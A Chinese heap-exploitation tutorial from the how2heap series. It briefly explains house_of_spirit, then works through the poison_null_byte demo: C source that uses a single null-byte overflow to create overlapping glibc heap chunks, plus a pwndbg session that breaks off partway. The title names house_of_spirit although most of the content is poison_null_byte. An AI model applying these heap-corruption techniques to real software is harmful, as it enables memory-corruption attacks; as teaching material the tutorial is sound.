从零开始学howtoheap:fastbins的house_of_spirit攻击2
how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的house_of_spirit攻击
house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。
2.poison_null_byte演示程序
该技术适用的场景需要某个malloc的内存区域存在一个单字节溢出漏洞。通过溢出下一个chunk的size字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
fprintf(stderr, "申请 0x100 的 chunk a\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a 在: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100);
fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
*(size_t*)(b+0x1f0) = 0x200;
free(b);
fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");
b2 = malloc(0x80);
fprintf(stderr, "b2 申请在: %p\n",b2);
memset(b2,'B',0x80);
fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);
fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");
free(b1);
free(c);
fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
d = malloc(0x300);
fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
memset(d,'D',0x300);
fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
}
3.调试poison_null_byte
3.1 获得可执行程序
gcc -g poison_null_byte.c -o poison_null_byte
3.2 第一次调试程序
调试环境搭建可参考环境从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gcc -g poison_null_byte.c -o poison_null_byte
root@pwn_test1604:/ctf/work/how2heap# gdb ./poison_null_byte
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./poison_null_byte...done.
pwndbg> r
Starting program: /ctf/work/how2heap/poison_null_byte
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Inferior 1 (process 82) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第32行并走起
首先申请了4个chunk,分别是a、b、c和一个防止与top chunk合并的chunk。
pwndbg> b 32
Breakpoint 2 at 0x4007f1: file poison_null_byte.c, line 32.
pwndbg> c
Continuing.
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况
Breakpoint 2, main () at poison_null_byte.c:33
33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x67
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbee0 ◂— 0x86e596a4e5a68fe5
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x67
R10 0x75686320706f7420 (' top chu')
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x4007f1 (main+283) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4007f1 <main+283> mov rax, qword ptr [rbp - 0x40]
0x4007f5 <main+287> sub rax, 8
0x4007f9 <main+291> mov qword ptr [rbp - 0x28], rax
0x4007fd <main+295> mov rax, qword ptr [rip + 0x20185c] <0x602060>
0x400804 <main+302> mov rcx, rax
0x400807 <main+305> mov edx, 0x70
0x40080c <main+310> mov esi, 1
0x400811 <main+315> mov edi, 0x400c70
0x400816 <main+320> call fwrite@plt <0x4005c0>
0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]
0x40081f <main+329> add rax, 0x1f0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
28 fprintf(stderr, "c: %p\n", c);
29
30 barrier = malloc(0x100);
31 fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);
32
► 33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);
34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
35 *(size_t*)(b+0x1f0) = 0x200;
36
37 free(b);
38
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 ◂— 0x0
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4007f1 main+283
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:32
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
3.3.2 设置断点第36行并走起
接下来为了绕过size和next chunk的prev_size的检查,我们在chunk b的末尾伪造了一个0x200大小的prev_size
pwndbg> n
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
35 *(size_t*)(b+0x1f0) = 0x200;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x70
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */
R8 0x70
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x40081b (main+325) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400804 <main+302> mov rcx, rax
0x400807 <main+305> mov edx, 0x70
0x40080c <main+310> mov esi, 1
0x400811 <main+315> mov edi, 0x400c70
0x400816 <main+320> call fwrite@plt <0x4005c0>
► 0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]
0x40081f <main+329> add rax, 0x1f0
0x400825 <main+335> mov qword ptr [rax], 0x200
0x40082c <main+342> mov rax, qword ptr [rbp - 0x40]
0x400830 <main+346> mov rdi, rax
0x400833 <main+349> call free@plt <0x400560>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
30 barrier = malloc(0x100);
31 fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);
32
33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);
34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
► 35 *(size_t*)(b+0x1f0) = 0x200;
36
37 free(b);
38
39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40081b main+325
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> n
37 free(b);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603310 ◂— 0x200
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */
R8 0x70
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x40082c (main+342) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400811 <main+315> mov edi, 0x400c70
0x400816 <main+320> call fwrite@plt <0x4005c0>
0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]
0x40081f <main+329> add rax, 0x1f0
0x400825 <main+335> mov qword ptr [rax], 0x200
► 0x40082c <main+342> mov rax, qword ptr [rbp - 0x40]
0x400830 <main+346> mov rdi, rax
0x400833 <main+349> call free@plt <0x400560>
0x400838 <main+354> mov rax, qword ptr [rbp - 0x28]
0x40083c <main+358> mov rdx, qword ptr [rax]
0x40083f <main+361> mov rax, qword ptr [rip + 0x20181a] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
32
33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);
34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
35 *(size_t*)(b+0x1f0) = 0x200;
36
► 37 free(b);
38
39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
41 a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40082c main+342
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
其中0x603310: 0x0000000000000200 是伪造的pre_size
0x603110: 0x0000000000000211 原本b的size
3.3.3 设置断点第42行并走起
然后把b给free掉,通过编辑chunk a来更改b的size的最后一位为0x00。
pwndbg> b 42
Breakpoint 3 at 0x400886: file poison_null_byte.c, line 42.
pwndbg> c
Continuing.
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
Breakpoint 3, main () at poison_null_byte.c:42
42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603118 ◂— 0x200
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x108
RDI 0x2
RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */
R8 0x52
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x400886 (main+432) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400886 <main+432> mov rax, qword ptr [rbp - 0x28]
0x40088a <main+436> mov rdx, qword ptr [rax]
0x40088d <main+439> mov rax, qword ptr [rip + 0x2017cc] <0x602060>
0x400894 <main+446> mov esi, 0x400d4b
0x400899 <main+451> mov rdi, rax
0x40089c <main+454> mov eax, 0
0x4008a1 <main+459> call fprintf@plt <0x4005a0>
0x4008a6 <main+464> mov rax, qword ptr [rbp - 0x38]
0x4008aa <main+468> sub rax, 0x10
0x4008ae <main+472> mov qword ptr [rbp - 0x20], rax
0x4008b2 <main+476> mov rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
37 free(b);
38
39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
41 a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
► 42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
43
44 uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
45 fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);
46
47 fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603540 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x200
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400886 main+432
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:42
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000200
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000200
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg>
其中 0x603110: 0x0000000000000200 修改后b的size
3.3.4 设置断点第50行并走起
这时候c那里的prev_size还是之前的,因为更改了b的size,所以找的时候会找b + 0x200的,而真正的prev_size位在0x210处,也正是这样让我们绕过了chunksize(P) = prev_size(next_chunk(P))的检测。
接下来申请一个0x100大小的chunk,因为b已经被free了,所以glibc会将b进行切割,分出一块0x100大小的堆块给b1,剩下0xf0。
pwndbg> n
50 fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...
RDI 0xf0
RSI 0x1
R8 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) —▸ 0x7ffff7dd1d28 (main_arena+520) ◂— ...
R9 0xaa
R10 0x0
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x40091d (main+583) ◂— mov rax, qword ptr [rip + 0x20173c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x40090f <main+569> mov edi, 0x100
0x400914 <main+574> call malloc@plt <0x4005b0>
0x400919 <main+579> mov qword ptr [rbp - 0x18], rax
► 0x40091d <main+583> mov rax, qword ptr [rip + 0x20173c] <0x602060>
0x400924 <main+590> mov rdx, qword ptr [rbp - 0x18]
0x400928 <main+594> mov esi, 0x400e30
0x40092d <main+599> mov rdi, rax
0x400930 <main+602> mov eax, 0
0x400935 <main+607> call fprintf@plt <0x4005a0>
0x40093a <main+612> mov rax, qword ptr [rbp - 0x20]
0x40093e <main+616> mov rdx, qword ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
45 fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);
46
47 fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
48 b1 = malloc(0x100);
49
► 50 fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
51 fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
52 fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
53 fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");
54
55 b2 = malloc(0x80);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
